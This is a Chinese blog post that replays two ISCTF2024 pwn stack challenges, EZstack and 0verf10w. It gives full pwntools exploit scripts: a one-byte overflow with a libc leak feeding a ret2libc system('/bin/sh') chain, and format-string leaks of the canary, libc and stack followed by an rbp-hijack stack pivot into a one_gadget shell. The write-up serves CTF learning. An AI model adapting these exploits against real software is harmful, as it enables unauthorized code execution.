首页 > 其他分享 >ISCTF2024比赛PWN后两道栈题复现

ISCTF2024比赛PWN后两道栈题复现

时间:2024-12-06 11:34:01浏览次数:8  
标签:栈题 ISCTF2024 libc rbp valid io PWN 0x70 NULL

严重的拖延症,本来应该在比赛结束两周内复现完成的,拖到现在

EZstack

静态分析

image

保护全关

image
main函数很简单,一个读入,然后打印读入内容,一眼fmt,直接动调看栈上情况(但并不是QAQ
image
buf初始地址是dc00,再看栈上的情况,rbp+8的位置有一个__libc_start_main函数

从程序的执行流程角度来看,当操作系统加载一个可执行文件并将控制权转交给程序时,首先调用的不是main函数,而是__libc_start_main函数。这个函数隐藏了程序启动和终止的许多复杂细节,为程序员提供了一个简单的main函数入口点。

这个距离是可以使用栈溢出够到,并且通过一字节泄露出libc地址,应该off_by_one,并且泄露后程序又从新执行main函数,此时就可以进行ret2libc

点击查看代码
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# p = remote('27.25.151.12' , 27351)

# gdb.attach(p)
# pause()

offset = 0x28
payload = offset * b'Z'
payload += b'\x10'
p.send(payload)

#gdb.attach(p)
#pause()

libc.address = u64(p.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00')) - 0x024010	#注:这里泄露出libc后,利用vmmap查看基址,然后计算偏移
log.info('libc.address===>' + hex(libc.address))

payload = offset * b'a'
payload += p64(next(libc.search(asm('ret;'),executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'),executable=True)))
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['system'])
p.send(payload)

p.interactive()

0verf10w

这题卡了好久,看别的队大佬的wp都有点难以理解,这里感谢一位师傅的帮助

静态分析

main函数
image
scanf可以和read可以利用进行格式化字符串泄露

vuln函数
image

查看保护
这里有个快速判断是否开启canary的小技巧
技巧1
回到main函数,看汇编代码
image

mov rax , fs:28h
mov [rbp+var_8] , rax

主要看这段,我们查看var_8的位置
image
刚好在rbp-8的位置,重点要考

技巧2
image
反正每次有开canary保护的时候,都会有这行,所以我查看一下v7
image
非常的巧,位置刚好在var_8的位置

当然看到了汇编代码的地址,也就知道这题还开启了pie,所以需要泄露栈地址
image
保护全开

EXP

这里我直接贴上师傅给的exp了,但是我会动调解释代码
前面利用fmt泄露栈,libc,canary

点击查看代码
from pwn import *

context(arch='amd64',log_level='debug',os='linux')
io = process("./0verf10w")

gdb.attach(io)
pause()

io.sendlineafter(b'fore that?\n',b'aaaa')
pay = b'a'*8+b'%9$p%11$p%15p'
io.send(pay)

io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.recvuntil(b'0x')
libc_base = int(io.recv(12),16)-0x29d90
print(hex(libc_base))
io.recvuntil(b'0x')
stack = int(io.recv(12),16)
print(hex(stack))
libc = ELF('./libc.so.6')

重点
后门攻击的脚本,这里写的一个劫持rbp进行栈迁移,然后用Onegadget
这里贴一个讲onegadget的文章,我也是第一次做到用Onegadget的题,怕讲错,还是直接贴文章one_gadget的一些姿势

点击查看代码
#one_gadget libc.so.6
#获取libc的one_gadget
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable		#注:one_gadget运行需要在rbp-70的位置
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

'''

payload

点击查看代码
ret = libc_base + 0x0000000000029139
one = libc_base+0xebc81
#pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-0x30+8)&0xff)
pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-40)&0xff)

io.sendafter(b'again?????',pay2)
解释,第一个canary是因为vuln结束后,会跳转到main,然后canary检查,这里动调一下,因为canary的位置在rbp-8的位置

image

image

0680的位置是第一个传参的位置,然后我们跳转到main看canary检测位置
image
然后打印rbp的地址
image
我们第一次传入canary的位置是0680,此时rbp为0688,刚好canary在rbp-8的位置

第二个stack是为了劫持rbp,然后是onegadget,vuln函数的canary检测,最后一个传参,我其实还是有点一知半解,但是这里还是用我调试后解释一下,
image
劫持rbp,然后进行栈迁移跳转到泄露的栈的位置,然后执行one_gadget已到达getshell,(这里有错误请佬指出)

完整的EXP

点击查看代码
from pwn import *

context(arch='amd64',log_level='debug',os='linux')
io = process("./0verf10w")

gdb.attach(io)
pause()

io.sendlineafter(b'fore that?\n',b'aaaa')
pay = b'a'*8+b'%9$p%11$p%15p'
io.send(pay)

io.recvuntil(b'0x')
canary = int(io.recv(16),16)
print(hex(canary))
io.recvuntil(b'0x')
libc_base = int(io.recv(12),16)-0x29d90
print(hex(libc_base))
io.recvuntil(b'0x')
stack = int(io.recv(12),16)
print(hex(stack))
libc = ELF('./libc.so.6')
# system = libc_base + libc.sym['system']
# rdi = libc_base + 0x000000000002a3e5
# sh = libc_base + next(libc.search(b'/bin/sh\x00'))
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

'''
ret = libc_base + 0x0000000000029139
one = libc_base+0xebc81
pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-0x30+8)&0xff)
#pay2 = p64(canary)+p64(stack)+p64(one)+p64(canary)+p8((stack-40)&0xff)

io.sendafter(b'again?????',pay2)
io.interactive()

也算是写完了,这篇只是我浅浅的见解,还得靠佬的帮助,如果文章有错误,请各位佬指出来,我会及时纠正,防止误导,感谢感谢
后面两题,涉及到堆,QAQ , ISCTF的文章差不多到此结束了,继续开始堆之路
之后还会分享一些题目心得和知识

标签:栈题,ISCTF2024,libc,rbp,valid,io,PWN,0x70,NULL
From: https://www.cnblogs.com/K4N0/p/18589733

相关文章

  • BUUCTF Pwn jarvisoj_level2_x64 题解
    1.下载checksec64位用IDA64打开SHIFT+F12查找字符串找到了binsh函数里面也有system进主函数看看看到了栈溢出漏洞这是64位程序所以构造ROP链时要用rdi传参+用ret栈平衡找到这两个的地址:构造exp:运行得到flag  flag{4b1340f5-06be-4377-9630-fd2c77f016......
  • PolarCTF-Pwn(中等)WP
    1、没人能拒绝猫猫ida看主函数int__fastcallmain(intargc,constchar**argv,constchar**envp){_BYTEbuf[32];//[rsp+0h][rbp-50h]BYREF_QWORDs2[6];//[rsp+20h][rbp-30h]BYREFs2[5]=__readfsqword(0x28u);init();puts("......
  • PolarCTF-Pwn的WP
    1、sandboxida查看box函数,发现对输入的字符做了检查(sh、cat、flag)if(strchr(buf,'s')||strchr(buf,'h')||strstr(buf,"cat")||strstr(buf,"flag")||strchr(buf,'-')){puts("Illegalcommand.");e......
  • Pwn-栈溢出
    原理基本的栈帧结构(以x64的栈为例)(图片摘自Hello-CTF)RBP为栈底寄存器,RSP为栈顶寄存器,分别记录了栈帧中记录数据部分的起始和终止地址。函数的临时变量的在内存中的位置都是通过这两个寄存器加减偏移确定的。栈底分别还记录了上一个栈帧的RBP的值,以及函数的返回地址。......
  • 使用服务器docker搭建Pwn题目
    一、docker的安装1、安装前先卸载操作系统默认安装的dockersudoapt-getremovedockerdocker-enginedocker.iocontainerdrunc2、安装必要支持sudoaptinstallapt-transport-httpsca-certificatescurlsoftware-properties-commongnupglsb-release3、添加gpgKEY(阿......
  • buildctf pwn
    ez_note有几个功能add,delete,show,editadd按顺序添加节点,且最大只能是0x80delete没有清空指针,有UAF漏洞show输出内容edit,先是输入长度,然后编辑内容,有堆溢出漏洞这个题目的保护全开,最重要的就是泄露libc的地址,unsorted_bin的头地址是位于libc中的,如果我们有一个unsorted_b......
  • 2024base新生赛week4pwn——ezstack
    首先检查一下保护,发现基本上没有。然后用ida打开发现,就一个gets函数可以利用。由于没开canary,所以这里可以轻松溢出,但是由于程序只调用了没有输出函数,所以没办法直接泄露函数真实地址,打常规的ret2libc。不过好在程序里有csu函数,还可以打ret2csu。不过还是上面那个原因,不能......
  • Pwn学习路线(Not Finished)
    1、底层代码学习编程基础:Python/C/C++/汇编语言其他知识:计算机组成原理、操作系统、编译原理课程:网易云课堂的“顶尖中文大学计算机专业课程体系”https://study.163.com/curricula/cs.htm2、静态反编译熟练掌握IDA、Radre2等熟练阅读反汇编代码,理解x86、ARM、MIPS二进制......
  • Kali Linux的Pwn环境搭建
    链接指北:1、安装pwntools、gdb等插件参考链接:https://blog.csdn.net/Bossfrank/article/details/1302134562、途中出现以下问题解决方案链接:https://blog.csdn.net/2202_75762088/article/details/134625775#/error:externally-managed-environment×Thisenvironmenti......
  • Pwn 乱刷合集
    栈3※[SHCTF2024]Nostackoverflow2题目附件:考点:ret2libc,libc库查询,整数溢出在linux下使用checksec查看该程序开启的保护,发现Arch为amd64-64-little,这说明这是一个64位的程序,并且采用了小端存储,即低位对应低地址,高位对应高地址。下方的RELRO,这是一......